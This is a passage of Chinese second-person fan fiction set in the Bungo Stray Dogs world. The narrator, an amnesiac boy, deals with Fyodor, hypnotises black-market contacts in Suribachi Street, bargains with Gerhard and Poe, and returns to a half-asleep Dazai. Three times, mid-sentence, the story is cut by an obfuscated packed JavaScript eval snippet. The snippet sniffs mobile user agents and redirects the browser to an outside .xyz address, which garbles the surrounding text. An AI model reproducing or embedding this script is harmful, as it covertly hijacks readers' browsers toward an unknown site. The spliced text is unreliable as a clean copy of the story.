“先等一等。”费奥多尔把你叫住,“我有凶手不是它的证据,教堂附近的监控能够证明,那些天并没有长腿的花盆走进教堂——它是个好花盆,我们不应该冤枉它。” “监控?”你问。 “整个横滨的人在那段时间的记忆都被清除,所以不可能有证人,但是监控不会失忆。” 费奥多尔尝试把花盆从你手中接过来。 但你抱得很紧,完全没有放手的意图,所以他失败了。 他不动声色地收回了手,假装无事发生,“监控中显示,在被害人死亡那段时间前后,到教堂去的,只有你和那些在后来死去的人,以及Mafia。没有别人——也没有花盆。” “所以才说我是唯一的幸存者……那‘消失的人’是怎么回事?”你问。 “现场没有关于这个人的任何痕迹,任何监控都没有他的身影。我本来怀疑,‘消失的人’是特务科为了解决群体失忆事件和这起杀人案,临时编造出的一个替罪羊,但是他们又好像真的在查这个人——”费奥多尔说,“您毫无想法吗?” 你抱着诺亚,“我应该有什么想法?” “您以前可是犯罪顾问。”费奥多尔微笑道,“就算失去记忆,以您的头脑,也不应该冤枉诺亚。” “以前是以前……”你获得了一个关于二叶亭彻的情报,但这个情报是真实度存疑。 你顿了一下,“真的吗?我是犯罪顾问?” 当然是假的。没那回事。 在侦探满地走的横滨,如果想犯罪,请杀手都比请顾问靠谱。犯罪顾问这个职业,既没有前途,也没有钱途。 “真的。”费奥多尔说,“军警犯罪对策科的顾问,简称犯罪顾问。” 他真的是简称的天才。 你:“这样一简称,二者就完全不是一回事了吧……” “你知道预防犯罪的学科是什么吗?”费奥多尔说。 “犯罪学。”你叹了口气,“所以预防犯罪的顾问,简称犯罪顾问,好的、好的……” 这……对吗? “伟大的犯罪顾问毫无想法。”你低头看了看花盆,“诺亚,你有想法吗?” 停顿了几秒钟后,你抬头,严肃道,“诺亚说它自首。” “……”费奥多尔默不作声地盯着你。 如果他是医生,大概会问你这种症状多久了要不要吃点药调理一下,但他不是医生,所以他说,“真的吗?我帮你逮捕它,你去把碗洗了。” 你把嫌犯移交给了费奥多尔。 “你不会窝藏它吧?”你洗碗洗到一半,突然转头。 “不会的。”费奥多尔说,“因为我也是犯罪顾问,和您一样。” “哦……”你回过头继续洗碗,水流穿过你的指缝,冰冰凉凉的。你的光合作用迈出了一大步,你不仅拥有阳光,还有了水。 “你也是预防犯罪的犯罪顾问?”你忽然再次转头。 这次,费奥多尔没有说话。他抱着花盆,脸上浮现出一个神秘的微笑。 …… 你把地下室的灯打开了,和费奥多尔和诺亚在地下室度过了一个下午。 你试着继续打听案情,但费奥多尔知道的细节似乎也不太多,如果要去查教堂案,得到警视厅或者别的什么地方去翻卷宗。 除此之外,费奥多尔向你介绍了擂钵街的复杂情况,你从他口中知晓了擂钵街比较靠谱的情报贩子与武器商人,以及一些组织的势力范围分布,还有一些重点人物的复杂关系与过往。 擂钵街的人员不仅有横滨本地人,还有许多洋人,有的是偷渡进来的罪犯。 横滨租界的法律制度混乱,军警受到限制,给了罪犯更多的生存空间。 而其中的擂钵街,更是可以称为三不管地带,英、美领事馆无权管辖,横滨也不想管——没有那个时间精力,也没人吃力不讨好地去整顿。 越是不管、越是难管,越是难管、越是不管,这样的恶性循环造出了擂钵街现在的恶劣环境。 费奥多尔也正是看中这一点,才会来这里建立一个常用的据点。在擂钵街这块地方,交易情报、买卖武器,甚至买凶……只要有实力,保证自己不会成为频发的抢劫与盗窃的受害者,在这做什么黑色的事情都很方便。 他会告诉你这些信息,并不是免费的。 费奥多尔希望你能帮助他查明,在那群体失忆的三天内,他失去的记忆是什么。 “之前我让尼古莱去请您,是因为我以为你就是群体失忆的根源,找到你,就能解决失忆的症状。但我没想到,你失去了更多的记忆。” 天边有一点薄薄的云,像烟一样,太阳缓缓地落下,它的光芒穿过烟云,穿不过费奥多尔的眼睛。 你和费奥多尔站在窗户边上,眯起眼来望着夕阳。你们的影子被拉得很长。 太阳要转多少回才能同时见你们一回?下一回是什么时候?会有下一回吗?唉,何其漫长的等待,你不禁有些热泪盈眶——所以说,不要又熬夜又直视太阳,对眼睛不好。 窗户没有打开,当太阳再落下去一些的时候,天色暗了下来,你从窗户玻璃里看见了你自己。 纤细得仿佛能被风吹倒的少年,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12636076|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬衫的扣子系得很紧,却披着不合适的黑色外套,还抱着一个红陶花盆,显得有点微妙的奇怪。 费奥多尔拉开了窗户,登时,少年的倒影消失了,清凉的夜风灌了进来,你和他的头发都被呼啦啦的风吹得乱七八糟的。 “你自己去查的话,应该更方便一些?”你说,“你查你的记忆,为什么要借我之手?” “我不清楚我那三天在做什么,没有任何文件或者监控记下了我的信息。我行动的时候很谨慎,不留痕迹,更不可能做出在日记本上写下‘今天去做了什么’这种事。所以现在,麻烦就麻烦在这里,我一失去记忆,谁也不知道那些天我做了什么……包括我自己。” “喔……可是我也无能为力啊。”你说,“或许你可以去找那个‘消失之人’,他比我更可疑。我只是一个失忆的犯罪顾问罢了,十分的弱小。” “弱小。”他低头看了你一眼,“指差点让尼古莱没跑掉?” “好吧。”你伸出手臂,张开纤细的手指,展示你这瘦弱的身躯,“九分的弱小。” 费奥多尔笑了笑,“话说回来,朔君……您的异能的发动条件,是和言语有关的吧?” 你抬头与他对视,眨了眨眼,没点头,也没摇头。 “只要您变成哑巴,是不是就用不了异能了?”他问。 没等你回答,他就笑着将视线移向窗外。 “我只是这么一说。我还想请您帮忙呢。” “我有帮你的办法吗?”你问。 “当然有。”费奥多尔说,“我能推测出,在那三天中,我遗忘的是非常重要的东西,并且,我猜……你的监护人知道我遗忘了什么。” “你想要我帮你从他那里打听消息……”你说,“我明白了。看在你告诉我这么多信息的份上,我考虑一下。” “不应该是,看在我告诉您这么多东西的份上,直接答应吗?”费奥多尔笑道。 “他是我的监护人呀,我当然得谨慎些。”你理所当然地转过身,“太宰先生说擂钵街的晚上很危险,我得先走了。” “现在已经是夜晚了,您现在走回去更危险。”费奥多尔说,“不如……在这待一晚上吧?” 你摇了摇头,走下了楼梯。 他便也不再劝,跟在你身后送你离开,“怎么连诺亚也要带走?” “诺亚答应了,不信你问它。”你举起花盆,“你听,它不说话,就是默认。” 费奥多尔叹息一声,他无可奈何又眼含笑意地看着你,“那就请您照顾好它了……考虑好了就和我联系,可以吗?” 你比了个“好”的手势,脚步轻快地走进了还未完全暗下去的夜色中。 只不过……你并没有离开擂钵街。 你绕了一个圈,走到了费奥多尔的据点正对面的地方。 费奥多尔的地下室在擂钵街的东边,而你来到了擂钵街的西边,抱着花盆坐在阶梯上,遥遥地看着对面。 就在你坐下没过半小时,你就看见,对面的费奥多尔的房屋,“轰”地一声,发生了剧烈的爆炸。 在震耳欲聋的声响中,火光冲天,黑烟四溢。 整座房屋都燃烧了起来。 对夕阳无动于衷的人们纷纷从房子中走出来,远远地看着这场爆炸,或忌惮或好奇地议论着。 你偏了偏脑袋,眼中倒映着明亮的火光。 “真是漂亮的夕阳啊。你说是不是?诺亚?” 12.第十二章 没有人打消防电话,事实上,以擂钵街的地形,消防车根本进不来。 擂钵街的居民们对爆炸、着火这种事司空见惯,他们自发用家中常备的灭火器,热心又熟练地把火给灭了。 顺便在谨慎的观察后,到被烧毁的废墟里溜达了几圈,结果发现这废墟里是什么值钱的都没有,只能在忙活一通后,骂骂咧咧地离开。 这一场爆炸对擂钵街来说只是个小插曲,这个贫瘠的地方很快就恢复了平日里的模样。 远处传来电视机播报新闻的声音、电视剧与音乐的声音,偶尔会传来几声不太和谐的叫骂打斗声。 不过没有枪声,即使是在擂钵街,枪支和弹药也不是那么容易得到的,能够将枪支作为常用武器的只有那些大的暴力组织,比如Mafia。 你抱着花盆循着打斗的声音走,没走多久就找到了发生打斗的位置—— 一条小的巷道,两边是房屋,道路周围还堆着货箱,几个人——有青年也有少年,正提着武器围殴一个人。武器多种多样,有棒球棍也有登山杖,还有人用的是折凳和板砖,应该是随手捡的。 地上有一把小刀被人踢得很远,可能是被围殴的人的武器。 从围殴者口中传来的“用你点钱怎么了”,可以听出,眼前这一幕是一场平平无奇的抢劫……放在擂钵街都不是很起眼的那种。 如果说Mafia是一流的犯罪组织,那这些抢劫者,只能称得上不入流的犯罪团伙,聚在一起报团取暖而已…… 其中年龄大的约莫四五十岁,而最小的,可能还没有现在的你的岁数大,一眼看去,都是面黄肌瘦的模样。 这些家伙打人时毫无章法,只是举着武器乱挥,仗着人数更多来实施犯罪……只需要一个经过专业训练的人员,就能把这群人打倒在地。最多两个。 至于被抢劫者……模样很眼熟,你辨认出这是又一个通缉犯。 通缉等级不高,应该是刚逃到擂钵街,还没来得及找个组织加入,也没来得及改头换面,自身也没什么本领,现在被抢劫,可以说是某种报应。 这种抢劫在擂钵街每天都会发生数起,要想不被抢劫只有两种办法,第一种是有强大的实力或者背景,第二种是打不过就加入——成为抢劫者本身。 这两种方案你都有使用的能力。即使是普通的Mafia,也不是一般的犯罪分子敢得罪的……不过,最好还是不要轻易暴露Mafia首领是你的监护人,这个身份一亮,你的敌人即使原本想退缩,在Mafia的压力下也只好杀人灭口了。 至于第二种方案,你的异能可以轻松加入任何一个组织成为那里的座上宾,但说实话……有Mafia珠玉在前,加入这里其他的犯罪组织都很掉价。 哦,费奥多尔的组织不算,这家伙能搞到特务科内部的情报,还是很有本事的……话说他还活着吗? 你藏在货箱和垃圾桶的后面,拿出手机给费奥多尔发了条消息,【诺亚平时吃什么?】 对面几乎是秒回,【水和白醋,但别给它喂太多,也别喂太频繁。】 看来费奥多尔还活着。他命还挺大的。 紧接着,他甩过来一条链接,你点开看了看,“生活小妙招:如何清洁红陶花盆上的盐碱物”。 你默不作声地看完了保养花盆的方法,把链接收藏了起来,然后问,【我会帮你打听你那三天在做什么,但是,我该到哪儿去找你?】 费奥多尔回:【您可以发消息给我……毕竟,我没有那么多据点供您引人来炸。】 你:【下次不会了。擂钵街是我的地盘,不能给你设据点。欢迎你以后来做客。】 费奥多尔:【……擂钵街是你的地盘,什么时候的事?】 你:【马上。】 费奥多尔:【?】 当你再抬起头时,这场夜色下的抢劫已经结束了。 被抢劫者奄奄一息地趴在地上,抢劫者们虽然没有用利器攻击,显出了某种不杀生的仁慈之心,但仁慈之心显然不多,因为伤者在擂钵街若得不到救治,最终也不会有什么好下场。 你慢慢地走过去,地上的人受到的大多是皮外伤,严重的是一只腿被打断了,不正常地扭到了一边去。 但是意识还是清醒的,这人听见了你的脚步声,努力地想要爬起来。 “你知道擂钵街为什么叫擂钵街吗?”你发起了提问。 …… 改头换面的你从地下酒吧中走出来。 在过去的几个小时里,你先是通过被抢劫者作为中转,约见了一个会易容的黑商,随后又利用异能的出其不意,将黑商催眠。 完成易容后,你来到情报交易颇为频繁的地下酒吧,催眠了情报商人,打听那遗失的三天中,横滨以及Mafia中发生的重要事件。 你能够顺利找到地下酒吧的位置,并避开黑商的底牌,自然是因为下午时费奥多尔给出的情报。 费奥多尔告诉你的消息与情报商人给出的信息两相印证,让你对擂钵街有了一个更全面的了解。 当前,擂钵街值得重视的势力有三支。 一支是“格哈德安保服务”,这支势力在多年前还有与Mafia作对的能力,但其在龙头抗争中元气大伤。 而在Mafia突然转变了战略风格后,格哈德安保服务面对Mafia便节节败退,势力大幅度缩减了。 不过,最近两年,格哈德安保服务似乎换了个后台,其背后本来是洋商,但最近换了个洋商,且其背后的商人又加大了在横滨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12656022|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投资,还派遣了十分有能力的人来管控,所以该组织又开始崛起。 其令人需要重视的点在于该组织内全员都有着精良的武装,疑似掌控着军火走私的渠道。 第二支是“黑山羊”,其首领是个粉发的女人,身形像女高中生一般,却有着强大的格斗本领,令旁人不敢小觑。 擂钵街有着格斗本领的人不少,该组织之所以能够在擂钵街成为三大势力之一,是因为其与军警和Mafia都有所联系……等同于在黑白两道都有人。 不管是扯虎皮还是真的有联系,至少这个组织让擂钵街的人们都相信了这一点,并以此发展势力,收编了大量小组织,具有了庞大的规模,让人不敢轻易招惹它。 第三支就是港口Mafia本身了,即使Mafia只派了很少的人来擂钵街,只是将这里作为货物存放与交易的地点,不常插手擂钵街的事,但只要有港口Mafia这个名号,即使他们就派一个人来,也能在这成为顶尖势力……当下横滨最强大的非法暴力组织就是这样,没有谁不忌惮。 如果你要让擂钵街成为你的地盘,首先,你得收编“黑山羊”。 “黑山羊”在擂钵街有很大的规模,成员大多是擂钵街的居民,赶是绝对无法赶走的,而强硬的手段只会让他们鱼死网破,你只能试着收编他们…… 其次,你需要将格哈德安保服务赶走或者拉拢。 这个组织也不宜正面对敌,他们的性质近似于雇佣兵,只要你有“足够的金钱”,就可以让他们为你效力,而多少金钱才能说得上“足够”……谁知道呢,或许你可以联系他们背后的人,用其他有价值的东西充当金钱使用。 至于港口Mafia,他们在这里隐蔽地进行大量的非法交易,擂钵街又离港口很近,Mafia是不可能放弃这里的。 你不可能收编这里的Mafia,因为他们不是擂钵街范围的势力,他们是整个横滨的黑夜的一部分。 你只能与Mafia正面对抗,让他们明白,如果要继续入驻这块地方,失去的会远远大于得到的。 但是,就算收编了“黑山羊”和“格哈德安保服务”,打过了留在擂钵街的Mafia,你却也绝不会是整个横滨的Mafia的对手…… 如果你执意将他们赶出擂钵街,破坏他们的交易,你会立即成为Mafia的敌人,迎来Mafia的疯狂报复。 而如果你放弃擂钵街,你的首领先生还在事务所等你。 只要你现在就回去,向他要两个护卫证明你的身份,擂钵街就没有人敢惹你。你可以在这个地方横着走,和“擂钵街是你的地盘”,似乎也没什么两样。 为了快速拥有属于自己的势力,而成为Mafia的敌人,这……真的值得吗? 13.第十三章 凌晨三点,你没回家。 你把黑色外套与花盆诺亚暂时储存在了黑商的仓库中。 除去易容,你还换了一身白衣服,联系上了格哈德安保服务在擂钵街的成员。 格哈德安保服务明面上是个安保公司,即使是普通人,想联系上他们也十分简单。 在你的异能的作用下,你直接联系上了他们的高层。 你利用的是黑商与情报贩子的电话,全程用异能保持对他人的催眠状态,没有在擂钵街留下任何痕迹。 除此之外,你用异能对你自己的声音施加了影响,相比起变更容貌,异能只维持着用来改变声音要轻松很多。 从擂钵街深处一栋小楼中,走出来迎接你的,是一个身穿黑色西装的德国人。 你从情报贩子那里查阅过他的资料。 格哈德是“格哈德安保服务”的建立者,原本是这个组织的实际控制人,但在龙头抗争中,格哈德破产,这个组织被更大的商人收购了去。 后来这个组织几经转手,高层变更,到如今,格哈德从曾经的首领,变成了众多管理者中的一位。 “您就是吉田君说的‘大顾客’吧。” 他彬彬有礼地将你请进了小楼里,眼睛中不经意流露出几分审视。 吉田君是你催眠的那位黑商,在擂钵街人脉很广,与该组织常有交易。经其介绍与担保,你轻松成为了格哈德安保服务的座上宾。 你承受住了周围全副武装的安保人员的目光压力,平静地在大厅的沙发上坐下。 大厅中的装饰品不多,整体风格偏向低调简约。 暗绿色的地毯踩上去的感觉不错,质量很好,沙发坐着也很舒服。顶部的吊灯与天花板边缘整齐排列的小灯让光线非常充足。 你想到Mafia的首领办公室,太宰的办公室整体装潢要更奢华,地毯是暗红色的,墙壁上花纹繁复古典,有种古老的欧洲贵族的风格,但光线要暗很多。 太宰治昨晚回来的时候还不开灯,只点了办公桌上的复古烛台,照得整个办公室和墓室似的。 你望向右手边的位置。 格哈德没有坐在主座,坐在主座上的是一名头发稍有些长的青年。 陌生青年的黑发稍稍遮住了眼睛,他低头翻着一本书,在你来时,他轻轻抬头看了你一眼,随后便继续翻阅手上的书籍,什么话都没有说,安静得有些阴郁。 “这位是?”你问。 “这位是坡先生。” 格哈德简单地介绍了青年的名字,却没有介绍青年的身份。 费奥多尔和情报贩子给你的资料中都没有这位“坡先生”,他要么是无名小卒,要么是一位隐藏得极深的厉害人士。 后者更有可能性,因为格哈德提起青年的名字时,语气带着明显的尊敬。 “从长相上看就不可能是路人……”你点了点头。 格哈德没有因为你有些瘦削的身形而小觑你,他认真道,“我们的业务包括各方面,基础的像保护特定的人或者物品、押运货物、对特定场所进行安全检查、对您的手下进行专门的训练……这些都是经过时间检验,得到大量顾客好评的。” “我想看看你们非基础的业务。” “进阶的服务,则是除了基础的安保以外,我们能为您主动出击,将您担忧的危险扼杀于摇篮之中。”格哈德说。 “如果危险是‘港口Mafia’呢?”你问。 格哈德眼神一凝,他下意识看向旁边的坡先生,但坡先生像是看书看得入迷,头都没抬起来。 “我们能提供隐蔽的出境服务……”格哈德斟酌了一下。 你什么也没说,轻轻摇了摇头。 格哈德像是确认了你是大客户——能将Mafia作为敌人的你,足够让他们重视。 他呼出一口气,试探道,“我们需要知道您的具体要求,以及……您的报价?” “如果我需要你们将Mafia连根拔起、完全消灭?”你问。 格哈德陷入了数秒的静默,他左右看了看,从桌上拿起一杯茶水,灌了几口,然后又盯着你看了一会儿,干巴巴地笑道,“哈哈,您真幽默……” 他没有直接说“你是疯了吧”已经是很有职业素养的表现了。 “让他们离远点。”坡先生忽然抬起了头。 格哈德愣了愣,反映过来,做了个手势,示意周围的护卫们离开大厅。 “这不是金钱能买到的。”坡的双手捧着合上的书,以一种堪称乖巧的姿态坐得十分端正,但其眼神却有些凌厉,“您能付出什么呢?” 格哈德瞠目结舌地看着坡,随后又瞪着眼睛看着你,“那个,坡先生,您初来横滨可能不了解,港口Mafia它不是普通的……” “吾辈知道。”坡对于他身后的势力似乎很有信心,“但吾辈以及组织……也不是普通的商人。” 一只浣熊从沙发后面钻出来,轻巧地跳到坡的怀里。 “咦,我只是开个玩笑。刚才这位先生也说了我很幽默吧?”你笑道,“把Mafia连根拔起,对我来说没什么好处。” 坡没说话,他抿着嘴像是在猜测你说的是真话还是谎言。 而格哈德则是松了口气,“那么您是想要……” “我想要抓到Mafia的白色死神。”你说。 白色死神……在医院的时候,与谢野小姐提到过一次,她用讽刺的语气说太宰把你带回Mafia,你很快就会变成“白色死神”那样。 而你回事务所后,与这位“白色死神”从未见过面。 你没有任何理由抓他,但是……谁知道呢。 格哈德露出了为难的神色。 “您这和与整个Mafia敌对也没什么区别了……据说那位‘白色死神’是一位能够化身为白虎的异能者,在Mafia里很受他们首领的重视,连名字都没泄露出来,至少是一支小队的队长……说不定是准干部。” 他虽然这样说,脸色却比听到“消灭Mafia”好了不少。 有了之前荒诞话语的冲击,“抓到白色死神”在对比之下就没那么惊世骇俗。要想打开窗户,对方不同意,但先说要砸一扇门,再退一步说要打开窗户,这时候,打开窗户就显得可以接受了。 Mafia里等级森严,首领之下有五位干部,每一位干部都能够独当一面。 准干部则是干部的候选,每一位准干部都有着独特的才能或者强大实力与潜力,是Mafia重点培养的人员。 但抓一名准干部,仔细想想也不是没有可行性。 “您和他有什么仇怨吗?”格哈德问。 你没有回答,而是像说谜语一般道,“要通向终点,首先要找到道路,而要找到道路,需要正确的路标。” “?”格哈德不解地看着你。 “‘白色死神’是什么的路标?”坡敏锐地捕捉到了什么,他尝试解读你的话。 “这条信息的价值很高,起码要帮我再抓一个人,我才能告诉你们。”你说。 “您还想抓谁?”坡问。 他没法确认你所说的话的真实性,会这样问只是在打听你的目标,不是真的要帮你抓人。 “嗯……该怎么称呼那位来着?”你停顿了一下,“黑色死神?” 两人茫然地注视着你。 “有这号人物吗?”格哈德嘀咕道,“您该不会是拿我们寻开心吧?” “麻烦程度恐怕不下于抓捕‘白色死神’……”坡也不认识你所提到的人,但他能从你起的绰号中猜测出来,所谓的黑色死神八成也是位厉害的家伙。 格哈德闻言,不赞同地说,“先不提黑色死神是什么人,就先锁定一个目标吧——假如完成抓捕白色死神的委托,您能带给我们什么呢?” “群体失忆事件的罪魁祸首。”你说。 格哈德眼神一变,他站起身,“您能把群体失忆事件的罪魁祸首交给我们?” 坡也紧紧盯着你。 “我能让你们联系上他,与他见面。”你撒了个谎。 事实上,你还不知道群体失忆事件和教堂案背后究竟是怎么一回事。 格哈德脸上露出了失望的神色。 看来他们也在追查群体失忆事件…… 坡则冷静道,“这个报酬不够,一个见面的机会,不足以让我们与Mafia开战。更何况,你说的话的真实性存疑。” “如果我说……”你扬起一个微笑,“群体失忆事件罪魁祸首的异能,不是造成他人失忆,而是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12685161|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令时间倒流呢?” “什么意思……” 坡微微睁大了眼睛,他语速飞快,就像他的大脑运转得飞快,“不可能,如果是时间倒流,如果是整个横滨的时间倒流了三天,与如今横滨的状况并不相符。” “那是因为,当时在横滨还有另一个特异点,十分巧合地与时间倒流的特异点发生了碰撞。” 你双手虚握,比划了一个碰在一起的手势。 “致使时间倒流只具体地降临在了一个人身上。而横滨的其他人,只有精神上的状态回到了三天前,身体状态的回溯却被阻止了,生病的人没有痊愈,死去的人也没有复生——具体表现出来就是群体失忆。” “等等,你是说……”坡抓住了一个关键词,“死而复生?他的异能可以让时间倒流,而且强大到可以让人死而复生?” “现在这个报酬够了吗?”你问。 坡安静了一会儿,随后笑了起来,“吾辈的确有些惊讶……如果这是真的,那这个消息本身就足以拿来作为定金。但是……” 他眯了眯眼,“证据,你需要提供他的异能是令时间倒流的证据。” “证据就在Mafia之中。”你缓缓吐出了一个人名,“二叶亭彻。” “教堂中的唯一幸存者?”坡立即道,“乱步推测出的教堂案的凶手?” 特务科和军警的保密工作做得真不错,这件事已经隐秘到全世界都知道了。 “你们去调查二叶亭彻,就能发现他身上发生了时间倒流的现象。他原本也该在那个教堂中死去,但异能让他活了下来。现在的二叶亭彻变成了一个十来岁的少年,更名为太宰朔。” 严格意义上,你这些话每句都是真的,但是组合在一起就会误导他人,让坡误以为是时间的逆流让你死而复生。 坡看了看格哈德,格哈德连忙道,“我们前天晚上就派人去调查了,但二叶亭彻那时已经被Mafia带走,调查Mafia里面的事情一向特别困难。而且不知道为什么,昨天下午他们的戒备又严密了很多……查证可能需要一些时间。” 哈,他们连二叶亭彻这个名字都知道,却查不到Mafia里的事,好像从特务科和军警那里讨要情报,比从Mafia那里调查更简单似的。 Mafia戒备更严密,大概是因为内鬼吧……医生和司机已经把有内鬼的事报了上去。 ……也许太宰让你回去,真的是想保护你。如今想调查你、接近你的人实在是太多了,有你的监护人在,Mafia这个对平常人十分危险的地方,对你而言反而更加安全。 格哈德看向你的眼神谨慎了很多。 他知道查Mafia内部的信息有多困难,而你却可以轻易地说出“二叶亭彻现在更名为太宰朔”,足以说明至少在这一块的情报方面上,你的能力已经超过了他们。 坡沉默了一会儿,像是在思考什么,“我们需要先调查你所说的是否属实……怎么称呼您?” “等下次见面确认合作时,再告诉你们吧。”你笑了笑,“你们想联系我的时候,可以去找吉田君。” “你很笃定会和我们合作呢……”坡说。 “因为我说的全都是实话。”你的视线移到了坡怀里那只浣熊身上,“它叫什么名字?” “什么?”你突然发出的提问让坡猝不及防,他下意识道,“啊,它是卡尔。” “我也有养一只可爱的宠物,或许以后我们除了交易,还能在养宠物方面多加交流。”你友好地微笑着。 ……你说的宠物该不会是指诺亚吧?一个养花盆,一个养浣熊,请问这之间有什么好交流的吗? 你养的甚至不是动物。 “好、好的?”坡茫然地看着你,他不明白话题怎么变成了这个。 你要传达的信息已经传出,只需要等待对方证实你提供的消息,主动来联系你。 简单聊了几句后,你便告辞离开。格哈德送你出门。 他们会去查你的身份,但他们什么也不会查到。 天色已经微亮了,太阳很快就要升起来。 清清凉凉的空气中逸散着浅淡的白光,没过多久,光就变成了灿烂的颜色。也许太阳也觉得今天的心情十分晴朗,把这片混乱的地方照得分外光明。 14.第十四章 电梯上行。 直升Mafia事务所顶层的电梯是某种玻璃材质,你向下俯瞰,一座座牛奶盒般的房屋离你越来越远,慢慢变成橡皮擦大小,远得像不真实的壁纸贴图。 你把擂钵街日出的照片随手发在了新注册的社交媒体账号上,一段时间过去,喜获零个点赞数和零个关注。 如果你拍的是现在的Mafia事务所甚至太宰的办公室,点赞关注的人数恐怕就不一样了,不过你想了想,并没有这么做。 你抱着诺亚往Mafia首领办公室走。 办公室里空无一人。 窗户没开,这个办公室的窗户十分特殊,墙壁通电就会变成落地窗,不通电就是十分严实的墙壁。所以虽然是白天,窗户不开的话阳光就照不进来,整个房间黑黢黢的。 你摸黑把诺亚放在了办公室的桌子上,往休息室走,走到一半又折返回来,用手机的手电筒找了找开关,把办公室的灯打开了。 可能你是担心诺亚——这个长久呆在地下室的花盆怕黑吧。真贴心,花盆怕黑这种细节都被你考虑到了,不愧是你。 休息室说是“室”,实际上并不是单独的房间,还附带会客厅、浴室、衣帽间等,甚至有个小厨房。 这里空气的温度与湿度、功能区域的布置以及装饰品的摆放等都堪称完美,只不过休息室的窗户也和办公室是同样的设置,拉开窗帘就是一堵墙,需要通电才能变成窗户。 据说太宰治很少开窗,这一点颇为可惜。 毕竟这里是横滨最高的地方之一,几乎可以俯瞰横滨全景,从这里或许能直接看到不远处的大海,看到太阳从海平面上升起、落下,那景象一定和擂钵街是很不一样的风格。 你在擂钵街就清除掉了身上的易容打扮,回到休息室后,你打开壁灯,把外套挂了起来,简单洗漱了一番。 来Mafia的第一晚你就因为做噩梦没怎么睡,第二晚又在擂钵街通宵,而现在是白天,你终于要休息了—— 高情商的评价:很符合Mafia昼伏夜出的作息。 低情商的评价:迟早猝死。 你没有直接去睡觉,在休息室里转悠了几圈。 有个柜子放着各种各样的酒水饮料,还有咖啡机。这一块地方放的都是饮品,饮品区域的木桌上摆着几瓶酒,以及一个酒杯。酒杯里的酒将近满溢,调酒的人调了酒,却没有喝。 昨晚的时候桌上还是空的。在你离开的这段时间里,太宰治已经回来过了,而且没有走——他的外套也在衣架上。如果他离开了的话,生活助理会将衣服从专门的箱子里收走交由专人清洗。 你低头看了看酒杯,酒水是很清澈的颜色,所以你能看见杯底好像沉着什么东西。 你仔细地观察杯底。 是一个药片。 “这是什么药?” 太宰治不可能带着一片药到处走,药瓶一定就在附近。 你打开了桌子抽屉。里面是一个医疗箱。医疗箱里装着碘伏棉棒、纱布绷带、温度计等常见的医疗用品,还有感冒药、消炎药等药物。 你注意到了一种药物——佐匹克隆。这是一种起效很快的安眠药,一般人不会把安眠药放在用来应急的医疗箱中。 将标注着佐匹克隆的药瓶里面的药物,与酒杯底部的药片相比对,形状颜色完全一致。你确认了酒杯中的药是佐匹克隆。 你把医疗箱整理回原样放回了抽屉,没有动桌上的酒。 放轻脚步的你来到了卧室,躺在床上的太宰治很有可能为了快速入睡而服用了安眠类药物。 也可能没有……谁知道呢,就像费奥多尔给花盆喂咖啡一样,太宰治给酒杯喂酒和安眠药,也不是不行。 太宰治睡着的姿态很端正,他安静平躺着,手放在白色的被子上……不知道你有没有参加过葬礼目睹他人下葬,或者亲自体验过下葬……躺在棺材里的尸体就是这种姿态,宁静、和谐,与世界无关。有的会盖上与这被子一样的白布。 如果往他手里放上花束,或者在他身侧撒上花瓣就更完美了——完美的即将下葬的尸体!快找找棺材盖。 你没去找棺材盖,你躺在了他旁边。好吧,时钟显示,现在的时间是早晨七点,许多人起床的时间,你也是时候该睡觉了。 但你没睡成。 就在你躺下的时刻,太宰治突然一个起身,你几乎没看清他的动作,太快了,他的手精准无误地扣住了你的脖颈!生存的空气正在流失,一种致命的残酷令你的后背发凉,你无法清楚地说出任何词汇,只能试着掰开他的手指。 他攥住你的喉咙的姿势不算标准,但足以让作为少年的你无法挣脱。如果他再不松手,或者你没有别的应对方法,你很快就会因为缺氧而昏厥,甚至出现更严重的后果,比如……死亡。 你清楚地意识到……眼前这个人是一个手上沾满鲜血的,真正的Mafia。 太宰睁开了眼睛,黑暗中可见度极低,但他还是反应了过来你的身份,慢慢松开了手。 你大口呼吸着,而太宰在此期间打开了灯。 “我以为朔君不会回来呢。” 太宰低头看了看你的脖颈。一道掐痕,不算严重。“要不要上点药?” “不用。”你说,“这里是我家,我自然得回来。” “家……?”太宰脸上露出了一个微笑,“啊,真是陌生的词汇。Mafia可算不上能称为家的地方。” “太宰先生是我的监护人。”你理所当然地说,“太宰先生在的地方就是我的家。” “是这样吗?”太宰不置可否,“我回头另找个地方给你住。” “这里就很好。”你摇头,“难道太宰先生是想把我赶出家门吗?” 